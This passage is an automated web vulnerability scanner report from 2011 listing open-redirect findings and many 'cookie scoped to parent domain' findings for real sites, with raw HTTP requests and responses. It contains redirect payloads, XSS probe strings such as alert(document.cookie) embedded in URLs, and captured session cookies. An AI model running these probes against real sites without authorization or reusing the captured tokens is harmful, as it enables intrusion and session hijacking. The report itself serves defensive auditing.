GET /track?target=http%3a//aa94df46ff741041f/a%3fhttp%3a//0.r.msn.com/%3fld%3d4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ&xargs=1Owx8oFMt4m2YkqUMiPXwDnPUhRRY7ZEJ9LJTWSrnbZhgBfErhtcKKOiM6mjHeLYQPOhFTlgMiQNUi0Wzinee2B3WGL1cDC9iHCONuiA3%2FJLEbd3x%2FFU5i2%2FejQpwMx5yyDTjsWiUUsISHcBq5Cyt5RwSg5CKdbMkrYy9xwqz2dX1VJJLhn25UnM9r3EOr3kRAA7PYs93YlDtwLI5JLm3nWA7dYYrFPozVln3uSAGFgS4lCNg3xHbrApZyDMytFV2l2C7ULWrmQ1l9bzagD%2FAT68Pby1uNFEA22B%2FM90suzy%2FYjy3MzE23bVmK7lC9jUeyBWeaoqNWxXGRluKS44nJO34%2BrioOQV%2FxSJ%2By45Fo8X%2FyWC5WegF0dVp6w1Bt2lFzVLgvn19KwnF%2BFWR4G6ZhENP1sKJJ8ayL0Tdvc1we8TPqrcCxAlGk5VR%2F94hQcEKqe6WwkOm3ytJOOEop9VFSJq%2FtFSYoywNhWzr%2BIMaHWBqkqSde8xNIVIc5X5QSFeoSqyFJwnv8A%3D&template=v1-450xauto\ HTTP/1.1
Host: mm.chitika.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _cc=G/SkJiIEkgB5jwthOgp2U7fj6wwhdgvL4c0tN7QIkjl+9DY+kxm0FYEPwYHEtzd1Eb9GVhAFySrB7FsCah5yekHnHk86QdWmqzPlPoX9fVgKhjoJ7H0CpjFT5Hp1o2UMeStsZFPsF38vogWeCxRsANnVfye1gm5VQVRitA3zocW7G6iOKSNpC8nW/fSMYPkd+FCgRcmr74lmkl5cwzW3Czwl6LeM3oQBJIYcJ6NbVb7AFAn8X+k1IsMDj5bEGLsE44aH3XGVfZEeq7YK0yCm1xoznT+oB6MyoGrFo+3L+n46HJMn/fIuhcbGfmpCGIWgP/8azfwodcqzdnmXzDHV02SLzkuIP4TROEiHhvvFYJCve1mdj9NNH2b6m71cRkwsP7WlTZEvF7RLkkrfjucSwCzhr5Z1qjMilr/trLois3rxw1y+NdQfz3XqMUHrYIFc6GSu7GKj22sCBmPetmAel7epjXByEoA7.VuO7eR5Qy1Z0VmN7sMLZzA.4;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:58:26 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJSQEuhBljgvx6LisqP2AupJFgK5WemUmSqCRZBWwtlJoLJyYgB+x08rWfR/ShFOalNGTqfmziVraghl7E5uw5btOtwHMaMyaTgACvSU2yypTzpEyT0xJmemcUr7Es5js2KWhPNJnWvwgCUzuXtn+7LZL8AlfWaXmZXx2Wx5H1qwqh06v7K+IpyakF7aYkVgMVBE2Wi+QJT/Gzzv94Iln9xO7HrVO1SW3ncoYsd8Aef4rQIg1BI9+VO2aXj1rm0SQVcj4uAoSHDGTWyz9kMQZuCJ+xQ5TN0vkWVGtX3ywUgybMdWFAiySnIl5xjSWUbofjZzP8xaZu6ASmtWDtWpBJguSuvKrwgS9MAvZoTO1No57tqy3vrJSJtt4AU6OXJT+q/fTWAHMVBk4k59TvKlVk2TdUNIWpuvlfIxVcBD1YZ95x+m8m1CsEoijW3+yEIP8zDJLDJ/lcVGIRsSWrmwP+BoOhXD4nIlLKRgmNGg2FjoM3imzu8TD0/BF2uZxo5kZn5Z3kX5hOg==.r+pUKck79gCJz8mn8ogGtg.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:58:26 GMT
Location: http://aa94df46ff741041f/a?http://0.r.msn.com/?ld=4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ
Content-Length: 632
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://aa94df46ff741041f/a?http://0.r.msn.com/?
...[SNIP]...

13.3. http://www.linuxsecurity.com/ads/adclick.php [Referer HTTP header] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linuxsecurity.com
Path:	/ads/adclick.php

Issue detail

The value of the Referer HTTP header is used to perform an HTTP redirect. The payload //a3998e29f3264cd04/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d was submitted in the Referer HTTP header. This caused a redirection to the following URL:

//a3998e29f3264cd04/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d

The application attempts to prevent redirection attacks by blocking absolute redirection targets starting with http:// or https://. However, an attacker can defeat this defense by omitting the protocol prefix from their absolute URL. If a redirection target starting with // is specified, then the browser will use the same protocol as the page which issued the redirection.

Because the data used in the redirection is submitted within a header, the application's behaviour is unlikely to be directly useful in lending credibility to a phishing attack. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

When attempting to block absolute redirection targets, the application should verify that the target begins with a single slash followed by a letter, and should reject any input containing a sequence of two slash characters.

Request

GET /ads/adclick.php HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; __utmz=137231789.1296945319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=137231789.34780583.1296945313.1296945313.1296945313.1; __utmc=137231789; __utmb=137231789.1.10.1296945313;
Referer: //a3998e29f3264cd04/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:39:44 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Location: //a3998e29f3264cd04/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d
Content-Length: 0
Connection: close
Content-Type: text/html

13.4. http://www.splunk.com/index.php/sso_checker [Referer HTTP header] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/sso_checker

Issue detail

The value of the Referer HTTP header is used to perform an HTTP redirect. The payload //af59a3cd4a9062842/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d was submitted in the Referer HTTP header. This caused a redirection to the following URL:

//af59a3cd4a9062842/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d?id=173.193.214.243.1296947376244858

Remediation detail

Request

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 17:27:22 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: //af59a3cd4a9062842/a%3fhttp%3a//www.google.com/search%3fhl%3den%26q%3d?id=173.193.214.243.1296947376244858
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

14. Cookie scoped to parent domain previous next
There are 317 instances of this issue:

http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/
http://homeappliance.manualsonline.com/managemystuff.html
http://homeappliance.manualsonline.com/proxy.class.php
http://homeappliance.manualsonline.com/regman/login/loginForm
http://homeappliance.manualsonline.com/regman/user/getUserBlock
http://homeappliance.manualsonline.com/regman/user/validateUser
http://session.owneriq.net/regman/mem/initsession
http://software.intel.com/en-us/articles/intel-cloud-builders/
http://software.intel.com/sites/oss/
http://t.mookie1.com/t/v1/clk
http://www.amazon.com/
http://www.bebo.com/
https://www.box.net/
http://www.coe.gatech.edu/
http://www.diigo.com/
http://www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.gpg.org/
http://www.hyves.nl/
https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html
http://www.manualsonline.com/privacy.html
http://www.manualsonline.com/tc.html
http://www.mylinkvault.com/
http://www.myspace.com/
http://www.oit.gatech.edu/content/information-security/
http://www.oit.gatech.edu/service/software-distribution/software-distribution
http://www.opensource.org/licenses
http://www.opensource.org/licenses/gpl-license.php
http://www.opensource.org/licenses/mit-license.php
http://www.pdfforge.org/
http://www.pusha.se/
http://www.stumbleupon.com/
http://www.sulit.com.ph/index.php/view
http://www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.webnews.de/
http://a.rfihub.com/ca.gif
http://a.tribalfusion.com/i.cid
http://a.tribalfusion.com/j.ad
http://action.media6degrees.com/orbserv/hbpix
http://ad.doubleclick.net/click
http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/v%3B233997820%3B0-0%3B0%3B57848017%3B1-468/60%3B39912829/39930616/1%3B%3B~okv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B~sscs%3D%3fhttp://personalsavings.americanexpress.com/savings-product.html
http://ad.doubleclick.net/clk
http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11
http://ad.zanox.com/tpv/
http://adclick.g.doubleclick.net/aclk
http://ak1.abmr.net/is/us.blackberry.com
http://altfarm.mediaplex.com/ad/ck/14302-119028-23636-2
http://altfarm.mediaplex.com/ad/ck/9700-118565-26469-2
http://altfarm.mediaplex.com/ad/js/14302-119028-23636-2
http://altfarm.mediaplex.com/ad/nc/14302-119028-23636-2
http://amch.questionmarket.com/adsc/d852910/8/40051907/decide.php
http://ar.voicefive.com/b/wc_beacon.pli
http://ar.voicefive.com/bmx3/broker.pli
https://axptravel.americanexpress.com/consumertravel/travel.do
http://b.scorecardresearch.com/b
http://b.scorecardresearch.com/p
http://b.voicefive.com/b
http://baselinemag.us.intellitxt.com/al.asp
http://baselinemag.us.intellitxt.com/intellitxt/front.asp
http://blogs.splunk.com/
http://bookmarks.yahoo.com/
http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp
http://bs.serving-sys.com/BurstingPipe/BannerSource.asp
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://buzz.yahoo.com/
http://buzzport.gatech.edu/
http://c03.adsummos.net/a/e/d1.ads
http://c03.adsummos.net/a/e/s21719
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html
http://clk.redcated/229/go/253329229/direct
http://clk.redcated/MRT/go/258547606/direct/01/
http://clk.redcated/MRT/go/264255445/direct
http://clk.redcated/MRT/go/267859374/direct
http://clk.redcated/go/264255445/direct
http://clk.redcated/go/267859374/direct
http://corp.americanexpress.com/gcs/cards/
http://corp.americanexpress.com/gcs/cards/land/compare.aspx
http://corp.americanexpress.com/gcs/travel/us/
http://counter.yadro.ru/hit
http://d.mediabrandsww.com/r/dd/id/L21rdC8zL2NpZC8xNzk2NjkwL3QvMg/cat/267859374-193167493/qry/
http://del.icio.us/post
http://developer.yahoo.com/yui/
http://developer.yahoo.com/yui/license.html
http://developers.facebook.com/plugins/
http://download32.us.intellitxt.com/al.asp
http://download32.us.intellitxt.com/intellitxt/front.asp
http://eas.statcamp.net/eas
http://edge.quantserve.com/quant.js
http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252
http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s29905151680577
http://feedburner.google.com/fb/a/mailverify
http://fusion.google.com/add
http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
http://hhonors1.hilton.com/en_US/hh/home_index.do
https://home.americanexpress.com/home/corporations.shtml
https://home.americanexpress.com/home/global_splash.html
https://home.americanexpress.com/home/mt_personal.shtml
http://i.w55c.net/rs
http://ib.adnxs.com/px
http://ib.adnxs.com/seg
http://ib.adnxs.com/setuid
http://idcs.interclick.com/Segment.aspx
http://idpix.media6degrees.com/orbserv/hbpix
http://imp.constantcontact.com/imp/cmp.jsp
http://leadback.advertising.com/adcedge/lb
http://load.exelator.com/load/
http://map.media6degrees.com/orbserv/hbpix
http://messenger.yahoo.com/
http://metrics.blackberry.com/b/ss/rimglobal,rimbbus/1/H.22.1/s28855670725461
http://mittelstandsblog.de.intellitxt.com/intellitxt/front.asp
http://mm.chitika.net/minimall
http://mm.chitika.net/track
http://msdn.microsoft.com/en-us/library/ms537509(VS.85
http://myweb2.search.yahoo.com/myresults/bookmarklet
https://online.americanexpress.com/myca/acctsumm/us/action
https://online.americanexpress.com/myca/logon/us/action
http://orthoinfo.aaos.org/
http://pixel.33across.com/ps/
http://pixel.intellitxt.com/pixel.jsp
http://pixel.quantserve.com/pixel
http://px.owneriq.net/cm
http://px.owneriq.net/oxcm
http://px.owneriq.net/p
https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm
http://rt32.infolinks.com/action/doq.htm
http://rt82.infolinks.com/action/doq.htm
http://rt83.infolinks.com/action/doq.htm
https://sb.voicefive.com/b
http://segment-pixel.invitemedia.com/pixel
http://splunkbase.splunk.com/
http://tags.bluekai.com/site/2956
http://tools.cisco.com/search/display
http://track2.mybloglog.com/js/jsserv.php
http://us.blackberry.com/assets_refresh/images/dropNavArrow.png
http://vegetarian.about.com/od/soupsstewsandchili/r/hotandsour.htm
http://www.active-srv02.de/werbemittel/WebObjects/werbemittel.woa/wa/ads
https://www.americanexpress.com/airlines-credit-card/
https://www.americanexpress.com/credit-card-rewards/
https://www.americanexpress.com/gift/giftcardslanding.shtml
https://www.americanexpress.com/gold-card/
https://www.americanexpress.com/no-annual-fee-credit-cards/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.au2m8.com/v/index.php
http://www.au2m8.com/v/index.php
http://www.care2.com/news/
http://www.cisco.com/ipj/
http://www.cisco.com/warp/public/707/newsflash.html
http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html
http://www.facebook.com/
http://www.facebook.com/BlackBerry
http://www.facebook.com/BlackBerryES
http://www.facebook.com/BlackBerryFR
http://www.facebook.com/BlackBerryNL
http://www.facebook.com/BlackBerryUK
http://www.facebook.com/BlackBerryZA
http://www.facebook.com/Craig.Marshall.Deutschland
http://www.facebook.com/ajouli1
http://www.facebook.com/americanexpress
http://www.facebook.com/campaign/impression.php
http://www.facebook.com/campaign/landing.php
http://www.facebook.com/dcmoncayo
http://www.facebook.com/fabianomorige
http://www.facebook.com/laprincesita.inigulable
http://www.facebook.com/marytere.medina
http://www.facebook.com/pages/Kledyde/344540630304
http://www.facebook.com/pages/OrthoSuperSitecom/296664256434
http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439
http://www.facebook.com/pages/OwnerIQ/54446991004
http://www.facebook.com/pages/Tipd/39630264367
http://www.facebook.com/pointeresortsaz
http://www.facebook.com/search/
http://www.facebook.com/uschi.eller
http://www.facebook.com/vibrantmedia
http://www.forexyard.com/css/quotes-chart.cssbdb85
http://www.godaddy.com/default.aspx
http://www.linkedin.com/
http://www.linkedin.com/companies/222438/OwnerIQ
http://www.linkedin.com/groupInvitation
http://www.live.com/
http://www.livejournal.com/
http://www.mybloglog.com/links/
http://www.newsvine.com/
http://www.nmworkwear.de/
http://www.nmworkwear.de/index.php
http://www.officedepot.com/
http://www.officedepot.com/promo/list5.do
http://www.plurk.com/
http://www.protopage.com/
http://www.reddit.com/
http://www.retrevo.com/support/HP-W8000-Desktops-manual/id/3823ag123/t/2
http://www.splunk.com/download
http://www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944
http://www.traffictrack.de/tracking/mpr.php
http://www.tuenti.com/
http://www.wtp101.com/pixel
http://www.yigg.de/
http://www.youtube.com/americanexpress
http://www.youtube.com/embed/208T0-OLXA8
http://www.youtube.com/embed/5aWd_-x1oPE
http://www.youtube.com/watch
http://www.zanox-affiliate.de/tpv/
https://www134.americanexpress.com/consumertravel/travel.do
https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do
http://www201.americanexpress.com/business-credit-cards/
http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789
http://www201.americanexpress.com/business-credit-cards/business-credit-cards
http://www201.americanexpress.com/business-credit-cards/business-solutions/overview
http://www201.americanexpress.com/business-credit-cards/find-business-credit-cards
http://www201.americanexpress.com/business-credit-cards/see-all-business-credit-cards
http://www201.americanexpress.com/getthecard/
http://www201.americanexpress.com/getthecard/home
https://www201.americanexpress.com/MobileWeb/index.jsp
https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm
https://www217.americanexpress.com/cards/home.do
https://www217.americanexpress.com/cards/shopping/index.jsp
http://www91.intel.com/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806
http://yasnide.ivwbox.de/blank.gif
http://yasnide.ivwbox.de/cgi-bin/ivw/CP/hp-ano
http://ypn-js.overture.com/
http://zap.mookie1.com/1/vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}@x90
http://zh-hans.splunk.com/
http://zh-hant.splunk.com/
http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940
http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21706094634719
http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s29366180438082

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

14.1. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:25 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ex/mfg/headline/m/ariens/d/type/product_problem HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:25 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:25 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45325

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:27 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

14.3. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:29 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; expires=Tue, 08-Mar-2011 16:04:09 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
